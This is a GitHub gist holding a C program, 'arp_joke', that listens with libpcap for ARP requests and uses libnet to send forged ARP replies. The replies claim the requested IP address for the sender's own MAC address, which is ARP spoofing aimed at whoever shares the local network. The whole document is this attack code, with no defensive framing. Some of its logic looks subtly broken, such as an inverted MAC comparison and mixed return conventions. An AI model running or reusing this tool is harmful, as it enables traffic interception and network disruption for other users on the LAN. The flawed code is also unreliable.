Skip to content

Instantly share code, notes, and snippets.

@fireflyc
Created December 25, 2016 12:43
Show Gist options
  • Select an option

  • Save fireflyc/796f55d54be39e629a2a1fcb2607a33b to your computer and use it in GitHub Desktop.

Select an option

Save fireflyc/796f55d54be39e629a2a1fcb2607a33b to your computer and use it in GitHub Desktop.

Revisions

  1. fireflyc renamed this gist Dec 25, 2016. 1 changed file with 0 additions and 0 deletions.
    File renamed without changes.
  2. fireflyc created this gist Dec 25, 2016.
    150 changes: 150 additions & 0 deletions arp_joke
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,150 @@
    #include <pcap.h>
    #include <stdlib.h>
    #include <libnet.h>

    #define log_error(...) fprintf(stderr, __VA_ARGS__)
    #define log_info(...) fprintf(stdout, __VA_ARGS__)
    #define FALSE (0==1)
    #define TRUE (1==1)

    typedef struct arp_joke {
    char *ifi;

    } arp_joke_t;

    typedef struct arphdr {
    u_int16_t htype; /* Hardware Type */
    u_int16_t ptype; /* Protocol Type */
    u_char hlen; /* Hardware Address Length */
    u_char plen; /* Protocol Address Length */
    u_int16_t oper; /* Operation Code */
    u_char sha[6]; /* Sender hardware address */
    u_char spa[4]; /* Sender IP address */
    u_char tha[6]; /* Target hardware address */
    u_char tpa[4]; /* Target IP address */
    } arphdr_t;

    int response_arp(char *device, struct libnet_ethernet_hdr *eth_hdr, arphdr_t *arp_hdr, char *errbuf) {
    libnet_t *net = libnet_init(LIBNET_LINK, device, errbuf);
    if (net == NULL) {
    return FALSE;
    }
    struct libnet_ether_addr *mac_addr = libnet_get_hwaddr(net);
    if (memcmp(mac_addr->ether_addr_octet, arp_hdr->tha, 6) ||
    memcmp(mac_addr->ether_addr_octet, arp_hdr->sha, 6)) {
    return FALSE;
    }
    libnet_ptag_t t = libnet_autobuild_arp(
    ARPOP_REPLY, /* operation type */
    (const uint8_t *) mac_addr, /* sender hardware addr */
    (uint8_t *) &arp_hdr->tpa, /* sender protocol addr */
    eth_hdr->ether_shost, /* target hardware addr */
    (uint8_t *) &arp_hdr->spa, /* target protocol addr */
    net); /* libnet id */

    if (t == -1) {
    snprintf(errbuf, BUFSIZ, "Can't build ARP header: %s\n", libnet_geterror(net));
    libnet_destroy(net);
    return EXIT_FAILURE;
    }
    t = libnet_build_ethernet(
    arp_hdr->sha, /* ethernet destination */
    (const uint8_t *) mac_addr,
    ETHERTYPE_ARP, /* protocol type */
    NULL,
    0,
    net, /* libnet handle */
    0);
    if (t == -1) {
    snprintf(errbuf, BUFSIZ, "Can't build ethernet header: %s\n", libnet_geterror(net));
    libnet_destroy(net);
    return EXIT_FAILURE;
    }
    int write_size = libnet_write(net);
    if (write_size == -1) {
    snprintf(errbuf, BUFSIZ, "Writer error %s", libnet_geterror(net));
    libnet_destroy(net);
    return EXIT_FAILURE;
    }
    libnet_destroy(net);
    return EXIT_SUCCESS;
    }

    void on_packet(u_char *arg, const struct pcap_pkthdr *pkthdr, const u_char *packet) {
    arp_joke_t *arp_joke = (arp_joke_t *) arg;
    char errbuf[BUFSIZ];

    struct libnet_ethernet_hdr *ether_hdr = (struct libnet_ethernet_hdr *) packet;
    if (ntohs(ether_hdr->ether_type) == ETHERTYPE_ARP) {
    arphdr_t *arp_hdr = (arphdr_t *) (packet + LIBNET_ETH_H);
    if (ntohs(arp_hdr->oper) == ARPOP_REQUEST) {
    log_info("received arp query\n");
    //收到ARP
    response_arp(arp_joke->ifi, ether_hdr, arp_hdr, errbuf);
    log_info("send response\n");
    }
    return;
    }
    }

    pcap_t *init_pcap(const char *dev, const char *filter_exp, char *errbuf) {
    bpf_u_int32 netp;
    bpf_u_int32 maskp;
    if (pcap_lookupnet(dev, &netp, &maskp, errbuf) == -1) {
    snprintf(errbuf, BUFSIZ, "lookup %s failed", dev);
    return NULL;
    }
    pcap_t *pcap = pcap_open_live(dev, 1500, 1, 0, errbuf);
    if (pcap == NULL) {
    return NULL;
    }
    if (filter_exp != NULL) {
    struct bpf_program fp;
    if (pcap_compile(pcap, &fp, filter_exp, 1, netp) == -1) {
    snprintf(errbuf, BUFSIZ, "Compile filter expression failed %s cause: %s", filter_exp,
    pcap_geterr(pcap));
    pcap_close(pcap);
    return NULL;
    }
    if (pcap_setfilter(pcap, &fp) == -1) {
    snprintf(errbuf, BUFSIZ, "Install filter failed %s", pcap_geterr(pcap));
    pcap_close(pcap);
    return NULL;
    }
    }
    return pcap;
    }

    pcap_t *pcap = NULL;
    arp_joke_t *arp_joke = NULL;

    void on_exit(int sig) {
    if (arp_joke != NULL) {
    free(arp_joke);
    }
    if (pcap != NULL) {
    pcap_close(pcap);
    }
    }

    int main(int argc, char **argv) {
    if (argc != 2) {
    printf("usage arp_joke <network card>\n");
    return EXIT_FAILURE;
    }
    char errbuf[BUFSIZ];
    pcap = init_pcap(argv[1], NULL, errbuf);
    if (pcap == NULL) {
    log_error("init pcap failed %s\n", errbuf);
    return EXIT_FAILURE;
    }
    //获取mac地址
    log_info("Start Success\n");
    arp_joke = (arp_joke_t *) malloc(sizeof(arp_joke_t));
    arp_joke->ifi = argv[1];

    signal(SIGINT, on_exit);
    pcap_loop(pcap, -1, on_packet, (u_char *) arp_joke);

    return 0;
    }